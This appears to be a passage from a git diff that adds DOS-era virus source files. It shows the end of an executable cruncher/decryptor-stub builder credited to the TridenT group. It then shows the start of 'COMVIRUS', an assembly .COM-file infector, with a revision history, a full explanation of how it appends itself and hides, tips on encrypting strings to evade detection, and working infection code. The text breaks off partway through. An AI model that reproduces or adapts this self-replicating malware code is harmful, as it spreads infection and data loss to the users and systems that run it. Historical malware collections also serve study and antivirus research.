pop cx + pop si + pop di + mov bp,-1 +z1: lodsw ;fill in relloc. items + mov dx,ax + lodsw + or ax,ax + js errr + cmp ax,bp + jne z3 + mov ax,dx + sub ax,bx + test ah,0C0 + jnp z2 + or ah,80 + jmp short z4 + +z2: mov ax,[si-2] +z3: stosw + mov bp,ax + mov ax,dx +z4: mov bx,dx + stosw + loop z1 + +z5: pop dx + pop si + + mov cx,di ;search end of relloc. table + xor ax,ax +z6: cmp di,dx + jae z7 + scasb + jz z6 + mov cx,di + jmp short z6 + +z7: sub cx,si + push es + pop ds + + push si ;calculate checksum + push cx + xor ax,ax +z8: xor ah,[si] + inc si + loop z8 + and ah,0FE + pop cx + pop si + add [si+2],ax + mov ax,cx + xor dx,dx + + add word ptr cs:[oldlen],ax ;adjust size counters + adc word ptr cs:[oldlen+2],dx + mov ax,[si+8] + mov cx,4 + shl ax,cl + sub word ptr cs:[oldlen],ax + sbb word ptr cs:[oldlen+2],dx + + clc + ret + +errr: stc + ret + + +;--------------------------------------------------------------------- +; write packed COM file +;--------------------------------------------------------------------- + +do_com: mov ah,40 ;first part of decryptor + mov cx,25 + mov dx,offset diet_strt + int 21 + + push bx + + mov ax,word ptr [workseg] ;init. segments + mov ds,ax + sub ah,10 + mov es,ax + + mov cl,1 + + call diet ;crunch! + + push cs + push cs + pop ds + pop es + + mov word ptr [diet_strt+23],bx ;save values + mov word ptr [newlen],ax + mov word ptr [newlen+2],dx + + pop bx + + call patchC ;adjust values in decryptor + + mov ah,40 ;write rest of decryptor + mov cx,094 + mov dx,offset diet_end1 + int 21 + + mov ah,40 + mov cx,0F + mov dx,offset diet_end2 + int 21 + + mov ax,4200 ;goto begin + xor cx,cx + cwd + int 21 + + mov ah,40 ;write first part again + mov cx,25 + mov dx,offset diet_strt + int 21 + ret + + +;--------------------------------------------------------------------- +; write packed EXE file +;--------------------------------------------------------------------- + +do_exe: mov ah,40 ;first part of decryptor + mov cx,5A + mov dx,offset exe_hdr + int 21 + + push bx + + mov ax,word ptr [workseg] ;init. segments + mov ds,ax + sub ah,10 + mov es,ax + + cmp word ptr cs:[oldlen+2],0 + jl vorm1 + jg vorm0 + cmp word ptr cs:[oldlen],0FC00 + jbe vorm1 + +vorm0: xor ax,ax + jmp short v1 + +vorm1: mov ax,1 + +v1: mov word ptr cs:[savevorm],ax + mov cx,ax + + mov ax,ds + xor si,si + add ax,word ptr [si+8] + mov ds,ax + + call diet ;crunch! + + push cs + pop ds + mov es,word ptr [workseg] + + mov word ptr [exe_hdr+12],bx ;save values + mov word ptr [newlen],ax + mov word ptr [newlen+2],dx + + pop bx + + call patchE ;adjust values in decryptor + + push cs + pop es + + mov cx,94 ;write rest of decryptor + cmp word ptr [savevorm],0 + jne v2 + mov cx,0C0 +v2: mov ah,40 + mov dx,offset diet_end1 + int 21 + + mov ax,word ptr [vorm] + cmp al,2 + je v4 + cmp al,1 + je v3 + + mov cx,35 + mov dx,offset diet_end_e1 + jmp short v5 + +v3: mov cx,3E + mov dx,offset diet_end_e2 + jmp short v5 + +v4: mov cx,1Dh + mov dx,offset diet_end_e3 + +v5: mov ah,40 + int 21 + + mov ax,4200 ;goto begin + xor cx,cx + cwd + int 21 + + mov ah,40 ;write first part again + mov cx,5A + mov dx,offset exe_hdr + int 21 + ret + + +;--------------------------------------------------------------------- +; adjust values in COM decryptor +;--------------------------------------------------------------------- + +patchC: mov ax,word ptr [newlen] + add ax,0C4 + shr ax,1 + mov word ptr [diet_strt+0F],ax + shl ax,1 + add ax,123 + mov word ptr [diet_strt+0C],ax + add ax,word ptr [oldlen] + sub ax,word ptr [newlen] + add ax,3DBh + mov word ptr [diet_strt+1],ax + + mov ax,word ptr [oldlen] + add ax,456 + mov word ptr [diet_strt+21],ax + add ax,4Dh + neg ax + mov word ptr [diet_end2+0Dh],ax + ret + + +;--------------------------------------------------------------------- +; adjust values in EXE decryptor +;--------------------------------------------------------------------- + +patchE: push bx + + mov ax,3A + xor dx,dx + add ax,word ptr [newlen] + adc dx,word ptr [newlen+2] + call div10 + add ax,18 + mov word ptr [exe_hdr+2E],ax + push dx + + call getlen + call shift4 + add ax,58 + mov si,ax + sub ax,word ptr [exe_hdr+2E] + mov word ptr [exe_hdr+35],ax + cmp ax,10 + jnb pe0 + mov word ptr [exe_hdr+35],10 + mov si,word ptr [exe_hdr+2E] + add si,ax + +pe0: mov ax,word ptr [orglen] + mov dx,word ptr [orglen+2] + call shift4 + sub ax,word ptr es:[0008] + mov word ptr [exe_hdr+58],ax + + neg ax + add ax,si + mov cx,4 + shl ax,cl + pop dx + add ax,dx + sub ax,107 + mov word ptr [exe_hdr+56],ax + + cmp word ptr es:[0006],0 + jz pe2 + + mov ax,es:[0010] + mov cx,4 + shr ax,cl + add ax,es:[000E] + mov dx,si + add dx,8 + cmp ax,dx + jbe pe1 + mov word ptr [vorm],0 + mov ax,word ptr es:[000E] + mov word ptr [exe_hdr+0E],ax + mov ax,word ptr es:[0010] + mov word ptr [exe_hdr+10],ax + jmp short pe5 + +pe1: mov word ptr [vorm],1 + jmp short pe4 + +pe2: mov word ptr [vorm],2 + +pe4: mov word ptr [exe_hdr+0E],si + mov word ptr [exe_hdr+10],0080 + mov ax,word ptr es:[000E] + mov word ptr [diet_end_e2+26],ax + mov word ptr [diet_end_e3+05],ax + mov ax,word ptr es:[0010] + mov word ptr [diet_end_e2+2Bh],ax + mov word ptr [diet_end_e3+0A],ax + +pe5: mov ax,094 + cmp word ptr [savevorm],0 + jne pe6 + mov ax,0C0 +pe6: xchg ax,dx + + mov ax,word ptr [vorm] + mov bx,offset vormval + xlat + add ax,dx + add ax,5A + xor dx,dx + add ax,word ptr [newlen] + adc dx,word ptr [newlen+2] + + push ax + push dx + + push ax + push dx + + push ax + add ax,01FF + adc dx,0 + call shift9 + mov word ptr [exe_hdr+4],ax + pop ax + and ax,01FF + mov word ptr [exe_hdr+2],ax + + pop dx + pop ax + + add ax,-11 + adc dx,-1 + call shift4 + xchg ax,dx + + mov di,word ptr [lm_par] + add di,es:[000A] + mov ax,si + add ax,8 + cmp ax,di + ja pe10 + mov ax,di +pe10: sub ax,dx + mov word ptr [exe_hdr+0A],ax + + mov word ptr [exe_hdr+0C],0FFFF + cmp word ptr es:[000C],0FFFF + jz pe12 + + mov di,word ptr [lm_par] + add di,es:[000C] + mov ax,si + add ax,8 + cmp ax,di + ja pe11 + mov ax,di +pe11: sub ax,dx + mov word ptr [exe_hdr+0C],ax + +pe12: mov ax,word ptr es:[0014] + mov word ptr [diet_end_e1+31],ax + mov word ptr [diet_end_e2+3A],ax + mov word ptr [diet_end_e3+19],ax + + mov ax,word ptr es:[0016] + mov word ptr [diet_end_e1+33],ax + mov word ptr [diet_end_e2+3C],ax + mov word ptr [diet_end_e3+1Bh],ax + + pop dx + pop ax + add ax,-22 + adc dx,-1 + call div10 + mov word ptr [exe_hdr+1E],ax + mov word ptr [exe_hdr+1C],dx + + mov ax,word ptr [orglen] + and ax,000F + add ax,word ptr es:[0018] + mov word ptr [diet_end_e1+4],ax + mov word ptr [diet_end_e2+4],ax + + mov ax,word ptr es:[0006] + mov word ptr [diet_end_e1+7],ax + mov word ptr [diet_end_e2+7],ax + + mov ax,word ptr [newlen] + mov dx,word ptr [newlen+2] + mov word ptr [exe_hdr+20],ax + mov byte ptr [exe_hdr+22],dl + + mov ax,word ptr es:[0008] + mov word ptr [exe_hdr+1A],ax + + pop bx + ret + + +;--------------------------------------------------------------------- +; shift DX,AX 4 bytes to right +;--------------------------------------------------------------------- + +div10: mov cx,10 + div cx + ret + + +;--------------------------------------------------------------------- +; shift DX,AX to right +;--------------------------------------------------------------------- + +shift9: mov cx,9 + jmp short shiftlup + +shift4: mov cx,4 +shiftlup: dec cx + jl shiftend + sar dx,1 + rcr ax,1 + jmp short shiftlup +shiftend: ret + + +;--------------------------------------------------------------------- +; data area +;--------------------------------------------------------------------- + +vormval db 35, 3E, 1Dh +handle db 0, 0 +data_163 dw 0 +save_stack dw 0, 0 +data_166 dw 0 +data_167 dw 0 +data_168 dw 0 +data_169 dw 0 +data_170 dw 0 +data_171 dw 0 +data_172 db 1 + + +;--------------------------------------------------------------------- +; decryptors +;--------------------------------------------------------------------- + +exe_hdr db 04Dh, 05Ah, 000h, 000h, 000h, 000h, 001h, 000h + db 002h, 000h, 000h, 000h, 0FFh, 0FFh, 000h, 000h + db 000h, 000h, 000h, 000h, 003h, 000h, 000h, 000h + db 01Ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0FCh, 006h, 01Eh, 00Eh, 08Ch + db 0C8h, 001h, 006h, 038h, 001h, 0BAh, 000h, 000h + db 003h, 0C2h, 08Bh, 0D8h, 005h, 000h, 000h, 08Eh + db 0DBh, 08Eh, 0C0h, 033h, 0F6h, 033h, 0FFh, 0B9h + db 008h, 000h, 0F3h, 0A5h, 04Bh, 048h, 04Ah, 079h + db 0EEh, 08Eh, 0C3h, 08Eh, 0D8h, 0BEh, 04Ah, 000h + db 0ADh, 08Bh, 0E8h, 0B2h, 010h, 0EAh, 000h, 000h + db 000h, 000h + +diet_strt db 0BFh, 000h, 000h, 03Bh, 0FCh, 072h, 004h, 0B4h + db 04Ch, 0CDh, 021h, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 000h, 000h, 000h, 000h + +diet_end1 db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 0E8h, 069h, 0FFh, 073h + db 027h, 0B1h, 004h, 057h, 0D3h, 0EFh, 08Ch, 0C0h + db 003h, 0C7h, 080h, 0ECh, 002h, 08Eh, 0C0h, 05Fh + db 081h, 0E7h, 00Fh, 000h, 081h, 0C7h, 000h, 020h + db 056h, 0D3h, 0EEh, 08Ch, 0D8h, 003h, 0C6h, 08Eh + db 0D8h, 05Eh, 081h, 0E6h, 00Fh, 000h, 0EBh, 0B9h + + +diet_end2 db 033h, 0EDh, 033h, 0FFh, 033h, 0F6h, 033h, 0D2h + db 033h, 0DBh, 033h, 0C0h, 0E9h, 000h, 000h + + +diet_end_e1 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h + db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h + db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh + db 0E2h, 0E7h, 007h, 01Fh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0EAh, 000h, 000h, 000h, 000h + +diet_end_e2 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h + db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h + db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh + db 0E2h, 0E7h, 007h, 01Fh, 081h, 0C5h, 000h, 000h + db 08Eh, 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h + db 0FFh, 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h + db 0C0h, 0EAh, 000h, 000h, 000h, 000h + +diet_end_e3 db 05Dh, 007h, 01Fh, 081h, 0C5h, 000h, 000h, 08Eh + db 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0EAh, 000h, 000h, 000h, 000h + + +;--------------------------------------------------------------------- +; crunch routines (thanks to Sourcer) +;--------------------------------------------------------------------- + +diet proc near + push bp + mov bp,sp + push di + push si + + mov word ptr cs:[handle],bx + mov cs:data_172,cl + + call getlen + mov cs:data_167,ax + mov cs:data_166,dx + + cli + mov cs:[save_stack],ss + mov cs:[save_stack+2],sp + mov bx,es + mov ss,bx + mov sp,0FE00h + sti + cld + push dx + push ax + call sub_24 + xor cx,cx + mov cs:data_169,cx + mov cs:data_170,cx + mov cs:data_163,cx + mov cs:data_171,0FFFFh + xor si,si + cmp byte ptr cs:data_172,0 + jne loc_219 + mov ax,ds + sub ax,200h + mov ds,ax + mov si,2000 +loc_219: + mov di,0E000 + mov cs:data_168,di + add di,2 + pop ax + pop dx + or dx,dx + mov dx,10h + jnz loc_220 + or ah,ah + jnz loc_220 + mov dh,al +loc_220: + call sub_27 + cmp ax,2 + ja loc_223 + jz loc_221 + stc + call sub_23 + mov al,[si-1] + stosb + mov cx,1 + jmp loc_236 +loc_221: + clc + call sub_23 + clc + call sub_23 + mov al,bl + stosb + cmp bx,0FF00h + pushf + call sub_23 + popf + jc loc_222 + mov cx,2 + jmp loc_236 +loc_222: + inc bh + mov cl,5 + shl bh,cl + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + mov cx,2 + jmp loc_236 +loc_223: + push ax + clc + call sub_23 + stc + call sub_23 + mov al,bl + stosb + cmp bh,0FEh + jb loc_224 + mov cl,7 + shl bh,cl + shl bh,1 + call sub_23 + stc + call sub_23 + jmp loc_228 +loc_224: + cmp bh,0FCh + jb loc_225 + mov cl,7 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_225: + cmp bh,0F8h + jb loc_226 + mov cl,6 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_226: + cmp bh,0F0h + jb loc_227 + mov cl,5 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_227: + mov cl,4 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 +loc_228: + pop cx + cmp cx,3 + jne loc_229 + stc + call sub_23 + jmp loc_236 +loc_229: + cmp cx,4 + jne loc_230 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_230: + cmp cx,5 + jne loc_231 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_231: + cmp cx,6 + jne loc_232 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_232: + cmp cx,7 + jne loc_233 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + clc + call sub_23 + jmp short loc_236 +loc_233: + cmp cx,8 + jne loc_234 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + stc + call sub_23 + jmp short loc_236 +loc_234: + cmp cx,10h + ja loc_235 + mov bh,cl + sub bh,9 + push cx + mov cl,5 + shl bh,cl + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + pop cx + jmp short loc_236 + jmp short loc_236 +loc_235: + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + mov ax,cx + sub ax,11h + stosb +loc_236: + cmp si,0E000h + jbe loc_238 + cmp byte ptr cs:data_172,0 + jne loc_237 + clc + call sub_23 + clc + call sub_23 + mov al,0FFh + stosb + clc + call sub_23 + stc + call sub_23 +loc_237: + mov ax,ds + add ax,0C00h + mov ds,ax + call sub_25 + sub si,0C000h +loc_238: + cmp di,0F810 + jbe loc_240 + push ds + push bp + push dx + push cx + mov cx,cs:data_168 + cmp cx,0F800h + jbe loc_239 + mov cx,1800h + call sub_22 +loc_239: + pop cx + pop dx + pop bp + pop ds +loc_240: + mov ax,si + and ax,0F000h + cmp ax,cs:data_171 + je loc_241 + mov cs:data_171,ax +loc_241: + mov ax,cs:data_167 + sub ax,cx + mov cs:data_167,ax + sbb cs:data_166,0 + jnz loc_242 + or ah,ah + jnz loc_242 + mov dh,al + or al,al + jz loc_243 +loc_242: + jmp loc_220 +loc_243: + clc + call sub_23 + clc + call sub_23 + mov al,0FFh + stosb + clc + call sub_23 + clc + call sub_23 +loc_244: + shr bp,1 + dec dl + jnz loc_244 + push di + mov di,cs:data_168 + mov es:[di],bp + pop di + mov cx,di + sub cx,0E000h + call sub_22 + mov dx,cs:data_169 + mov ax,cs:data_170 + mov bx,cs:data_163 +loc_245: + cli + mov ss,cs:[save_stack] + mov sp,cs:[save_stack+2] + sti + pop si + pop di + pop bp + ret +diet endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_22 proc near + push es + pop ds + push di + push cx + mov ax,cs:data_163 + mov bp,0FE00 + mov bx,0E000 + jcxz loc_248 + +locloop_247: + xor al,[bx] + inc bx + mov dl,al + xor dh,dh + mov al,ah + xor ah,ah + shl dx,1 + mov di,dx + xor ax,[bp+di] + loop locloop_247 + +loc_248: + mov cs:data_163,ax + pop cx + pop di + mov dx,0E000 + mov bx,word ptr cs:[handle] + mov ah,40h + int 21h + jc loc_250 + cmp ax,cx + jne loc_250 + add cs:data_170,ax + adc cs:data_169,0 + sub di,cx + sub cs:data_168,cx + push cx + mov bx,dx + mov cx,10h + +locloop_249: + mov ax,ds:[bx+1800] + mov [bx],ax + inc bx + inc bx + loop locloop_249 + + pop cx + ret +loc_250: + mov ax,0FFFFh + cwd + jmp loc_245 +sub_22 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_23 proc near + rcr bp,1 + dec dl + jnz loc_ret_251 + push di + xchg di,cs:data_168 + mov es:[di],bp + mov dl,10h + pop di + inc di + inc di + +loc_ret_251: + ret +sub_23 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_24 proc near + xor bp,bp + xor bx,bx + mov cx,7000h + +locloop_252: + mov [bp],bx + inc bp + inc bp + loop locloop_252 + + mov bp,0FE00 + xor di,di + xor dx,dx +loc_253: + mov ax,dx + mov cx,8 + +locloop_254: + shr ax,1 + jnc loc_255 + xor ax,0A001h +loc_255: + loop locloop_254 + + mov [bp+di],ax + inc di + inc di + inc dl + jnz loc_253 + ret +sub_24 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_25 proc near + push bp + push cx + mov bp,8000 + mov cx,2000h + +locloop_256: + mov bx,[bp] + mov ax,bx + sub ax,si + cmp ax,0E000h + jb loc_257 + sub bx,0C000h + jmp short loc_258 +loc_257: + xor bx,bx +loc_258: + mov [bp],bx + inc bp + inc bp + loop locloop_256 + + pop cx + pop bp + ret +sub_25 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_26 proc near + lodsw + dec si + mov cx,103h + mov bp,ax + shr bp,cl + mov cl,al + and cl,7 + shl ch,cl + test ch,[bp-4000h] + pushf + or [bp-4000h],ch + and ah,1Fh + shl ax,1 + mov bp,ax + mov cx,[bp-8000h] + mov [bp-8000h],si + jcxz loc_259 + sub cx,si + cmp cx,0E000h + jae loc_259 + xor cx,cx +loc_259: + mov bp,si + shl bp,1 + and bp,3FFFh + mov [bp],cx + popf + jnz loc_260 + xor cx,cx + mov [bp+4000h],cx + ret +loc_260: + push bp + lodsb + mov di,si + dec si +loc_261: + dec di + mov cx,[bp] + add di,cx + shl cx,1 + jz loc_262 + add bp,cx + and bp,3FFFh + mov cx,di + sub cx,si + cmp cx,0E000h + jb loc_263 + scasb + jnz loc_261 + cmp di,si + jae loc_261 +loc_262: + pop bp + mov [bp+4000h],cx + or cx,cx + ret +loc_263: + xor cx,cx + jmp short loc_262 +sub_26 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_27 proc near + push es + push bp + push di + push dx + push ds + pop es + call sub_26 + mov bx,cx + mov ax,1 + jnz loc_264 + jmp loc_276 +loc_264: + push bp + mov cx,103h + mov ax,[si] + mov bp,ax + shr bp,cl + mov cl,al + and cl,7 + shl ch,cl + test ch,[bp-4000h] + pop bp + mov ax,2 + jz loc_272 + mov dx,si + inc si + mov di,si + xor ax,ax + jmp short loc_266 +loc_265: + pop di + pop si +loc_266: + mov cx,[bp+4000h] + add di,cx + shl cx,1 + jz loc_271 + add bp,cx + and bp,3FFFh + mov cx,di + sub cx,si + cmp cx,0E000h + jb loc_271 + push si + push di + mov cx,ax + jcxz loc_267 + repe cmpsb + jnz loc_265 + cmp di,dx + jae loc_265 +loc_267: + inc ax + cmpsb + jnz loc_270 +loc_268: + cmp di,dx + jae loc_270 + inc ax + cmp ax,10Fh + jb loc_269 + mov ax,10Fh + pop di + pop si + mov bx,di + sub bx,si + jmp short loc_271 +loc_269: + cmpsb + jz loc_268 +loc_270: + pop di + pop si + mov bx,di + sub bx,si + jmp short loc_266 +loc_271: + mov si,dx + inc ax +loc_272: + xor cx,cx + cmp cs:data_166,cx + jne loc_273 + cmp cs:data_167,ax + jae loc_273 + mov ax,cs:data_167 +loc_273: + cmp ax,2 + jb loc_276 + jnz loc_274 + cmp bx,0F700h + jae loc_274 + dec ax + jmp short loc_276 +loc_274: + push ax + mov cx,ax + dec cx + +locloop_275: + push cx + call sub_26 + pop cx + loop locloop_275 + + pop ax +loc_276: + pop dx + pop di + pop bp + pop es + ret +sub_27 endp + + +;--------------------------------------------------------------------------- +; buffer + text +;--------------------------------------------------------------------------- + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + +printme db 7, 0Dh, 0A + db 'ͻ', 0Dh, 0A + db ' *** CRUNCHER V2.0 *** Automatic file compression utility ', 0Dh, 0A + db ' Written by Masud Khafir of the TridenT group (c) 31/12/92 ', 0Dh, 0A + db ' Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto ', 0Dh, 0A + db 'ͼ', 0Dh, 0A + db '$' + +last: + +_TEXT ends + end first + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/c/Cv4-30.asm b/c/Cv4-30.asm new file mode 100755 index 0000000..e50cc16 --- /dev/null +++ b/c/Cv4-30.asm @@ -0,0 +1,458 @@ +title COMVIRUS +subttl By Drew Eckhardt +subttl Latest revision: 4-28-1991 + +;The author of this virus intends it to be used for educational +;purposes only, and assumes no responsibilities for its release, +;dammages resulting from its use, including but not limited to +;equipment dammage or data loss. + +;By assembling or examining this program, The user agrees to accept all +;responsibility for this programs use, or any portions of the code +;or concepts contained within. The user also agrees to not publicly release +;this virus, and to exercise necessary precautions to prevent its escape. +;The user accepts all responsibility arising from his actions. + +;Don't come crying to me if your hard disk gets infected, +;as THERE IS NO ANTIDOTE. HAHAHAH. + + +;Revision history: +;4-13: initial bug-free release, size=424 bytes with carrier + +;4-15: added no date change support, size=438 bytes with carrier + +;4-16: minor documentation changes, size=438 bytes with carrier, +; NO CODE CHANGE from 4-15 revision + +;4-21: fixed missing hex h suffixs, made MASM friendly, +; fixed incorrect assume statement (assume statements are ignored +; by A86) enabled hard/floppy infection based on floppy_only status +; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. +; minimum virus length = 419 bytes + +;4-23: added control over how many programs are infected per run, +; switched method of infection, from copying to DTA then writing +; to disk to straight write to disk from memory. +; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. +; minimum virus length = 393 bytes + +;4-28: used set DTA instead of default DTA/copy command line +; buffer, which had been used based on incorrect assumption +; eliminated calls to get time/date, get attribs +; by using information from find first/find next functions 4eh/4fh +; made warning optional for reduced space if desired. Also +; changed mov reg16, bp add reg16, constant to shorter LEA instruction. +; size=354 bytes IF floppy_only, warning on W/carrier +; 340 bytes IF w/warning & carrier program +; 286 bytes w/o warning, in program +; minimum virus length = 281 bytes for virus itself + +;4-28pm: instead of near CALL-pop sequences everywhere, switched to +; a single CALL near ptr Reference_Point, putting the result into +; si now that (until the end) string mode addressing is not used. +; Changed places where a register (used as an index) +; was being loaded THEN added to a single LEA isntruction +; size = 340 bytes if floppy_only, warning on w/carrier +; size = 326 bytes if w/warning & carrier +; size = 272 w/o warning +; minimum virus length = 267 bytes for the virus itself + +;4-28pm2: Eliminated unecessary flush buffers call. +; size = 336 bytes if floppy_only w/carrier +; size = 322 bytes w/warning & carrier +; size = 268 w/o warning +; minimum virus length = 263 bytes for virus itself + +;4-30: restored 5 bytes of original code at CS:0100 +; before infecting other programs, allowing the +; original code field to be modified so one disk write could be +; used instead of two +; minor documentation revisions - corrected incorrect +; opcodes in documentation +; size = 326 bytes if floppy_only w/carrier +; size = 312 bytes w/warning & carrier program +; size = 258 bytes w/carrier program +; Minimum virus length = 253 bytes for the virus itself + +;NOTE: The program is currently "set up" for A86 assembly with all +;conditional assembly symbols. #IF and #ENDIF should be replaced with +;MASM IFDEF and ENDIF directives for propper operation. +;Also, instead of using EQUates to define control symbols, the /D +;option or DEFINE could be used..... + + +;COMVIRUS.ASM must be assembled into a .COM file inorder to function +;properly. For convieniece, I recommend an assembler like A86 that will +;assemble to a .COM file without having to go through LINK and EXE2BIN + +;As is, it will infect .COM files located on the current disk. +;ONLY if it is a floppy disk, ONLY in the root directory. + +;This is a .COM infector virus, which, does nothing other than print a +;warning message, and spread to all files on the default disk IFF it is +;a floppy disk, in the root directory. + +;Theory: +;This is a non - overwriting virus. I took special precautions to preserve +;all functionality of the original program, including command line, parsed FCB, +;and segment register preservation. This makes the virus harder to detect. + +;The .COM file is a memory image - with no relocation table. Thus, it +;is an easy target for a virus such as this. + +;Infected file format +;jmp near ptr xxxx +;cli cli ;ID bytes +;ORIGINAL program code, sans 5 bytes +;5 bytes ORIGINAL program code +;VIRUS + +;This format makes infection VERY simple. We merely check for our signature +;(in this case cli cli (fa fa) - instructions that no programmer in his +;right mind would use - loading the original five bytes in the process. +;These original bytes are written to the end of the program, then +;A jump to where the virus is. + +;While infection is easy, this method presents some coding problems, as the +;virus does not know where in memory it is. Therefor, When we want to access +;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the +;stack which is then popped. Addresses are then calculated relative to this +;via LEA + +;To run the program as normal, command line is restored, registers restored, +;And original code copied onto the first five bytes of the program. + + +;Program control symbols defined here +floppy_only equ 1 +infect_per_run equ 1 ;number of programs infected per run +warn_user equ 1 + +_TEXT segment byte 'CODE' + assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT + org 100h + +Start: jmp infect; + +;This is our signature + cli + cli + +;Original code is the data field where we store the original program code +;which will replace our signature and jmp to infect + +Original_Code: int 20h ;five bytes that simply terminate + nop ;the program + nop + nop + + + +;Data for the virus. In a destructive virus, you would want to encrypt +;any strings using a simple one's complement (not) operation so as to +;thwart detection via text search utilities. Since we want detection to +;be easy, this un-encrypted form is fine. + + +Start_Virus: +#IF warn_user + Warning db "This file infected with COMVIRUS 1.0",10,13,'$' +#ENDIF + +;VirusMask is simply an ASCIIZ terminated string of the files we wish to +;infect. + + VirusMask db '*.COM', 0 +Infect: + push ax ;on entry to a .COM program, STACK: + ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp + ;for the two FCB's in here. Save + ;'em + + ;I use special trickery to find location of data. Since + ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is + ;translated to e8 0000 - which will simply place the location + ;of Reference onto the stack. Our data can be found relative to + ;this point. + + call near ptr Reference ;All data is reference realative to + ;Reference + + +Reference: pop bx ;which is placed into bx for LEA + ;instructions + ;bx now contains the REAL address of + ;Reference + ;si points to real address of original + ;code field + lea si, [bx-(offset Reference - offset Original_Code)] + mov di, 0100h ;original code is at 100h + mov cx, 5 ;5 bytes + cld ;from start of buffer + rep movsb ;do it + + mov si, bx ;since BX is used in handle + ;based DOS calls, for the remainder + ;of the virus, si will contain the + ;actual 